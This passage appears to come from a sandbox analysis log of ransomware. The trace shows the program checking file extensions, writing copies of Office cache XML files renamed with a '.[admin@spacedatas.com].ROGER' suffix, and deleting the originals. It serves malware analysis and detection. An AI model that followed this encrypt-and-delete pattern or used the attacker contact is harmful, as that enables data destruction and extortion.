lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.129] lstrlenW (lpString=".zip") returned 4 [0038.129] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.130] lstrlenW (lpString=".rar") returned 4 [0038.130] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.130] lstrlenW (lpString=".bz2") returned 4 [0038.130] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.130] lstrlenW (lpString=".7z") returned 3 [0038.130] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.130] lstrlenW (lpString=".dbf") returned 4 [0038.130] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.130] lstrlenW (lpString=".1cd") returned 4 [0038.130] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0038.130] lstrlenW (lpString=".jpg") returned 4 [0038.130] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.130] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.132] lstrlenW (lpString="Setup.xml") returned 9 [0038.132] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0038.132] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=5884) returned 1 [0038.132] CloseHandle (hObject=0x360) returned 1 [0038.132] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.132] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.132] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0038.133] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.133] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.133] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0038.133] GetLastError () returned 0x0 [0038.133] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x16fc, lpOverlapped=0x0) returned 1 [0038.134] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1700, lpOverlapped=0x0) returned 1 [0038.135] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.135] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.135] SetEndOfFile (hFile=0x358) returned 1 [0038.136] CloseHandle (hObject=0x358) returned 1 [0038.136] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.136] SetEndOfFile (hFile=0x360) returned 1 [0038.137] CloseHandle (hObject=0x360) returned 1 [0038.137] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.137] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.138] lstrlenW (lpString=".doc") returned 4 [0038.138] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.138] lstrlenW (lpString=".docx") returned 5 [0038.138] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.138] lstrlenW (lpString=".pdf") returned 4 [0038.138] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.138] lstrlenW (lpString=".xls") returned 4 [0038.138] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.138] lstrlenW (lpString=".xlsx") returned 5 [0038.138] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.138] lstrlenW (lpString=".ppt") returned 4 [0038.138] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.138] lstrlenW (lpString=".zip") returned 4 [0038.138] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.138] lstrlenW (lpString=".rar") returned 4 [0038.138] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.138] lstrlenW (lpString=".bz2") returned 4 [0038.138] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.138] lstrlenW (lpString=".7z") returned 3 [0038.138] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.138] lstrlenW (lpString=".dbf") returned 4 [0038.138] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.138] lstrlenW (lpString=".1cd") returned 4 [0038.138] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.138] lstrlenW (lpString=".jpg") returned 4 [0038.138] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.139] lstrlenW (lpString=".doc") returned 4 [0038.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.139] lstrlenW (lpString=".docx") returned 5 [0038.139] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.139] lstrlenW (lpString=".pdf") returned 4 [0038.139] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.139] lstrlenW (lpString=".xls") returned 4 [0038.139] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.139] lstrlenW (lpString=".xlsx") returned 5 [0038.139] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.139] lstrlenW (lpString=".ppt") returned 4 [0038.139] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.139] lstrlenW (lpString=".zip") returned 4 [0038.139] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.139] lstrlenW (lpString=".rar") returned 4 [0038.139] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.139] lstrlenW (lpString=".bz2") returned 4 [0038.139] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.139] lstrlenW (lpString=".7z") returned 3 [0038.139] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.139] lstrlenW (lpString=".dbf") returned 4 [0038.139] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.139] lstrlenW (lpString=".1cd") returned 4 [0038.139] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.139] lstrlenW (lpString=".jpg") returned 4 [0038.139] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.140] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.140] lstrlenW (lpString="Office32MUI.xml") returned 15 [0038.140] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0038.141] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1383) returned 1 [0038.141] CloseHandle (hObject=0x360) returned 1 [0038.141] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0038.141] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0038.141] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.141] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0038.141] GetLastError () returned 0x0 [0038.141] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x567, lpOverlapped=0x0) returned 1 [0038.368] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x570, lpOverlapped=0x0) returned 1 [0038.369] ReadFile (in: hFile=0x360, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.369] WriteFile (in: hFile=0x358, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0038.370] SetEndOfFile (hFile=0x358) returned 1 [0038.370] CloseHandle (hObject=0x358) returned 1 [0038.370] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.370] SetEndOfFile (hFile=0x360) returned 1 [0038.371] CloseHandle (hObject=0x360) returned 1 [0038.371] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.436] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0038.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.484] lstrlenW (lpString=".doc") returned 4 [0038.484] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.484] lstrlenW (lpString=".docx") returned 5 [0038.484] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.484] lstrlenW (lpString=".pdf") returned 4 [0038.484] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.484] lstrlenW (lpString=".xls") returned 4 [0038.484] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.484] lstrlenW (lpString=".xlsx") returned 5 [0038.484] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.484] lstrlenW (lpString=".ppt") returned 4 [0038.484] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.484] lstrlenW (lpString=".zip") returned 4 [0038.484] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.484] lstrlenW (lpString=".rar") returned 4 [0038.484] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.484] lstrlenW (lpString=".bz2") returned 4 [0038.484] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.484] lstrlenW (lpString=".7z") returned 3 [0038.485] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.485] lstrlenW (lpString=".dbf") returned 4 [0038.485] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.485] lstrlenW (lpString=".1cd") returned 4 [0038.485] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.485] lstrlenW (lpString=".jpg") returned 4 [0038.485] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.485] lstrlenW (lpString=".doc") returned 4 [0038.485] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.485] lstrlenW (lpString=".docx") returned 5 [0038.485] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.485] lstrlenW (lpString=".pdf") returned 4 [0038.485] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.485] lstrlenW (lpString=".xls") returned 4 [0038.485] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.485] lstrlenW (lpString=".xlsx") returned 5 [0038.485] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.485] lstrlenW (lpString=".ppt") returned 4 [0038.485] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.485] lstrlenW (lpString=".zip") returned 4 [0038.485] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.485] lstrlenW (lpString=".rar") returned 4 [0038.485] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.485] lstrlenW (lpString=".bz2") returned 4 [0038.485] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.485] lstrlenW (lpString=".7z") returned 3 [0038.485] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.486] lstrlenW (lpString=".dbf") returned 4 [0038.486] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.486] lstrlenW (lpString=".1cd") returned 4 [0038.486] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.486] lstrlenW (lpString=".jpg") returned 4 [0038.486] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.486] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.486] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0038.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0038.487] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1606) returned 1 [0038.487] CloseHandle (hObject=0x35c) returned 1 [0038.487] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0038.487] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0038.487] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.487] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0039.195] GetLastError () returned 0x0 [0039.195] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x646, lpOverlapped=0x0) returned 1 [0039.202] WriteFile (in: hFile=0x378, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x650, lpOverlapped=0x0) returned 1 [0039.203] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0039.203] WriteFile (in: hFile=0x378, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0039.203] SetEndOfFile (hFile=0x378) returned 1 [0039.203] CloseHandle (hObject=0x378) returned 1 [0039.204] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.204] SetEndOfFile (hFile=0x35c) returned 1 [0039.205] CloseHandle (hObject=0x35c) returned 1 [0039.205] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.205] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0039.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.205] lstrlenW (lpString=".doc") returned 4 [0039.205] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.205] lstrlenW (lpString=".docx") returned 5 [0039.206] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.206] lstrlenW (lpString=".pdf") returned 4 [0039.206] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.206] lstrlenW (lpString=".xls") returned 4 [0039.206] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.206] lstrlenW (lpString=".xlsx") returned 5 [0039.206] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.206] lstrlenW (lpString=".ppt") returned 4 [0039.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.206] lstrlenW (lpString=".zip") returned 4 [0039.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.206] lstrlenW (lpString=".rar") returned 4 [0039.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.206] lstrlenW (lpString=".bz2") returned 4 [0039.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.206] lstrlenW (lpString=".7z") returned 3 [0039.206] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.206] lstrlenW (lpString=".dbf") returned 4 [0039.206] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.206] lstrlenW (lpString=".1cd") returned 4 [0039.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.206] lstrlenW (lpString=".jpg") returned 4 [0039.206] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.206] lstrlenW (lpString=".doc") returned 4 [0039.206] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.206] lstrlenW (lpString=".docx") returned 5 [0039.206] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.206] lstrlenW (lpString=".pdf") returned 4 [0039.207] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.207] lstrlenW (lpString=".xls") returned 4 